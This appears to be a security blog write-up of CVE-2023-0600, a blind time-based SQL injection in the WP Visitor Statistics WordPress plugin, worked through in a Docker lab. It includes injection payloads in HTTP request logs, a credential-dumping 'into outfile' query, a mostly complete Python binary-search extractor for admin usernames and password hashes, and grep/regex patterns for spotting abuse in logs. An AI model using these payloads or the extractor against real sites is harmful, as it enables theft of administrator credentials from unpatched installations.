Exploring CVE-2023-0600 in depth

11 Jul 2023

Recently I noticed CVE-2023-0600, a SQL Injection in a common WordPress plugin WP Visitor Statistics. CVE-2023-0600 there’s a very simple proof of concept demonstrating with a sleep() command that the plugin is vulnerable and injectable. Let’s work through expanding this demonstration into something more useful.

Fortunately someone has already built a vulnerable Docker instance of this WordPress plugin. Props to TruocPhan. Before you install a test VM be sure to take a look at the docker files and base image to check for any reverse shell silliness and be sure to isolate it; for example inside a host-only networked VM.

Per the Note on the WPScan page, the visitorId parameter must be different on each request. Why is this and where is the injection located?

As Truoc Phan helpfully identified on his page, the issue is in wsm_db.php where a unique visitorId results in a call to fnInsertNewVisit which directly appends the visitorId parameter to the SQL query without any cleanup.

Vulnerable Code (Credit TruocPhan)

Vulnerable Code

Verifying this is easily done by timing the response and using the sleep(10) SQL command. Notice that in the first run, the response is about half a second, as visitorId 1000 has already been used before, below that when changing visitorId to 1001 we see as expected a 10 second delay in the response.

Unique visitorID required

Repeat visitorId not vulnerable

To get a better idea of what’s going on with the SQL, we’ll turn on general logging and watch the queries being made. Editing the mariadb.cnf gives us a log file we can watch using tail -f. Using docker to edit config files

Logging queries in MySQL

Examining the SQL being generated by these requests we see that two INSERT statements are generated but only one is vulnerable. Tracking website visitor queries in MySQL log: MySQL log showing queries we triggered

The first of the highlighted queries is adding slashes on the visitorId parameter, you can see it near the end at VALUES (34,'1002\',sleep(10), the single quote character after 1002 is escaped. The second query however does not escape the slash and we see a vulnerable query made VALUES (34,'1002',sleep(10),0,0,0,0,0);-- -',4,0,'2023-07-04 20:06:07',0,2,'http://0') notice that the double-dash comment after the semi-colon has removed the rest of the parameters and replaced everything after sleep(10) with zeros.

Having an active database instance will let us work out syntax and field names before we try to abuse the injection externally, logging in using the creds in the vulnerable docker config we can easily see this from both sides.

The table wp_wsm_logUniqueVisit is identified as holding the unique visitor logs and shows evidence of our abuse.

Interesting how the visitorID is a hex value, this shows the assumption I had from reading the PoC was incorrect and this is not an integer type field.


MariaDB [wordpress]> describe wp_wsm_logUniqueVisit;
+----------------------+----------------------+------+-----+---------+----------------+
| Field                | Type                 | Null | Key | Default | Extra          |
+----------------------+----------------------+------+-----+---------+----------------+
| id                   | bigint(10) unsigned  | NO   | PRI | NULL    | auto_increment |
| siteId               | int(10) unsigned     | NO   |     | NULL    |                |
| visitorId            | varchar(20)          | NO   | MUL | NULL    |                |
| visitLastActionTime  | datetime             | NO   | MUL | NULL    |                |

For defenders looking for signs of abuse a regular expression is the easiest way to identify legitimate and malicious user logs. Here we identify valid visitorIds


MariaDB [wordpress]> select id,visitorId from wp_wsm_logUniqueVisit where visitorID regexp '^[0-9a-f]{16}$';
+----+------------------+
| id | visitorId        |
+----+------------------+
|  9 | 67c78ad9e712585c |
|  1 | ee69cd03a90e4ebd |
|  8 | ee69cd03a90e4ebd |
| 10 | ee69cd03a90e4ebd |
+----+------------------+
4 rows in set (0.003 sec)

Next we find anything that breaks this pattern. The regular expression verifies that only a 16 character hex Id was used, anything different would be intentional. Adding a not to the SQL we find the illegitimate Ids.


MariaDB [wordpress]> select id,visitorId from wp_wsm_logUniqueVisit where visitorID not regexp '^[0-9a-f]{16}$';
+-----+----------------------+
| id  | visitorId            |
+-----+----------------------+
| 117 | 0001 - Never', sleep |
| 118 | 0002 - Gonna', sleep |
| 119 | 0003 - Give', sleep( |
| 120 | 0004 - You', sleep(1 |
| 121 | 0005 - Up', sleep(1) |
| 122 | 0006 - Never', sleep |
| 123 | 0007 - Gonna', sleep |
| 124 | 0008 - Let', sleep(1 |
| 125 | 0009 - You', sleep(1 |
| 126 | 0010 - Down', sleep( |
| 127 | 0011 - Never', sleep |
| 128 | 0012 - Gonna', sleep |
| 129 | 0013 - Run', sleep(1 |
| 130 | 0014 - Around', slee |
| 131 | 0015 - And', sleep(1 |
| 132 | 0016 - Desert', slee |
| 133 | 0017 - You', sleep(1 |
|  11 | 100',sleep(10),0,0,0 |
|   2 | 1000',sleep(10),0,0, |
|   3 | 1001',sleep(10),0,0, |
|   4 | 1002',sleep(10),0,0, |
|   7 | 5164803',sleep(3),0, |
|   5 | 5603571',sleep(10),0 |
|   6 | 8020869',sleep(2),0, |
+-----+----------------------+
24 rows in set (0.001 sec)

Here’s a quick Python script so you can troll yourself. But why? Well because a quick script helps verify findings and question assumptions. Code as you go.

More likely however you’ll be looking for IoCs in the HTTP logs and not directly in the database, so instead we’d grep with the same pattern on the logs.

ie:


docker logs cve-2023-0600-wordpress-1|grep -i visitorid|grep -iEv "visitorid\=[a-f0-9]{16}\&"
172.19.0.1 - - [10/Jul/2023:13:47:39 +0000] "GET /?wmcAction=wmcTrack&siteId=34&url=test&uid=01&pid=02&visitorId=0013%20-%20Run%27,%20%20%20%20%20%20%20%20%20%20%20sleep(1),0,0,0,0,0);--+- HTTP/1.1" 200 267 "-" "python-requests/2.31.0"
172.19.0.1 - - [10/Jul/2023:13:47:41 +0000] "GET /?wmcAction=wmcTrack&siteId=34&url=test&uid=01&pid=02&visitorId=0014%20-%20Around%27,%20%20%20%20%20%20%20%20%20%20%20sleep(1),0,0,0,0,0);--+- HTTP/1.1" 200 270 "-" "python-requests/2.31.0"
172.19.0.1 - - [10/Jul/2023:13:47:42 +0000] "GET /?wmcAction=wmcTrack&siteId=34&url=test&uid=01&pid=02&visitorId=0015%20-%20And%27,%20%20%20%20%20%20%20%20%20%20%20sleep(1),0,0,0,0,0);--+- HTTP/1.1" 200 267 "-" "python-requests/2.31.0"
172.19.0.1 - - [10/Jul/2023:13:47:44 +0000] "GET /?wmcAction=wmcTrack&siteId=34&url=test&uid=01&pid=02&visitorId=0016%20-%20Desert%27,%20%20%20%20%20%20%20%20%20%20%20sleep(1),0,0,0,0,0);--+- HTTP/1.1" 200 270 "-" "python-requests/2.31.0"
172.19.0.1 - - [10/Jul/2023:13:47:45 +0000] "GET /?wmcAction=wmcTrack&siteId=34&url=test&uid=01&pid=02&visitorId=0017%20-%20You%27,%20%20%20%20%20%20%20%20%20%20%20sleep(1),0,0,0,0,0);--+- HTTP/1.1" 200 267 "-" "python-requests/2.31.0"

The first grep narrows the logs to all those with visitorId and then the second grep removes all requests with a valid visitorId leaving only the garbage we want.

Back to our attack. We can grab the admin user hash and break offline, or we could also add an admin user and log on with that. There’s also command execution potential.

One issue is that this is a “Blind SQL Injection”. We get no errors messages, nor can we output text returned from a SQL statement. Additionally the vulnerable query is an INSERT statement which forces us to use a subquery and complicates the syntax.

What can we do with this vulnerability?

To grab data we can use a blind timed SQL select statement in a subquery, and code up a binary search to iteratively match one character at a time. The idea is that a successful query will result in a known delay, but a failed query will return very quickly. It’s a bit of a chore… maybe we can be lazy and write the output somewhere accessible from outside.

Let’s see what being lazy gets us. It’s tempting to do something like:


select concat_ws(":", user_login, user_pass) from wp_users into outfile "/var/www/html/wp-content/uploads/creds.txt";

However keep in mind this dockerized test app has the database and web server container isolated from each other, so there’s no saving of database content to a web accessible file, neither can we write a PHP webshell somewhere in the site. Defense in depth FTW.

Blind time-based binary search it is!

You’ll want to develop very simple test queries to verify your syntax and execution quickly.


(select if(1=1,sleep(10),0))
select substr('test',1,1);

Also play in a test MySQL to work out more complicated queries.


select if(substr('test',1,1) between "r" and "z","yup","nope");
+---------------------------------------------------------+
| if(substr('test',1,1) between "r" and "z","yup","nope") |
+---------------------------------------------------------+
| yup                                                     |
+---------------------------------------------------------+

Progressively expand your queries:


(select if(substr('test',1,1) between "r" and "z",sleep(5),"nope"))

select substr(user_login,1,1) from wp_users;
select if(substr('test',1,1) between "r" and "z","yup","nope");

Can take a bit of trial and error to work these out:


select if((select substr(user_login,1,1) from wp_users) between "r" and "z","yup","nope");

Once you have it working directly on the SQL server modify your requests and add + or /**/ to replace spaces. When you’re able to reliably sleep using an external request when checking the range of a specific character you’ll be able to implement a binary search using an index.

Using a binary search is like playing hotter/colder with the server. For each position we split the range of possible characters and guess which half it’s in. As we identify the upper or lower range we shift to where the character is known to be and gradually reduce the search range until we find it.

As an example here’s a chunk of code calling the verification function and iteratively finding one character at a time.


def binary_search_ascii(field, idx):
    lower = 32  # visible chars only
    upper = 127 # ASCII range from 0 to 127

    while lower != upper:
        mid = (lower + upper) // 2
        #print("Testing if "+str(mid)+" is between "+str(lower)+" and "+str(upper))
        print(".",end="",flush=True)
        if test_fn(lower, mid, field, idx):
            upper = mid
        else:
            lower = mid + 1

    if test_fn(lower, lower, field, idx):
        return chr(lower)
    else:
        return -1 # Target range not found

field="user_login"
#field = "user_pass"
idx = 1
char = ""
answer=""

while True:
    char = binary_search_ascii(field, idx)
    if char == -1:
        break

    print(char)
    answer += char
    idx += 1

print(answer)

We’re first recovering the initial SQL user name.

Timing first username recovery

Command line output of script showing username built up character by character. Final output shows truocphan

True to the SQL data, this test docker has a single admin user truocphan, taking about 2 1/2 minutes to recover one character at a time. Checking out the user_pass field we pull the user hash.

Recovering admin hash

Same script except slowly recovering password hash. Final output shows the same WordPress hash as the database contains. Finally we’ve used a blind time-based SQL Injection to recover the admin user password hash in nine and a half minutes. Above we can see the SQL data from the administration side, and below the user_pass field has gradually been deduced.

As WordPress is a huge chunk of the internet and there’s a lot of unpatched users of this plugin still out there I’ll leave the implemenation of test_fn to the reader. The linked troll.py and the rest of this post has everything you need.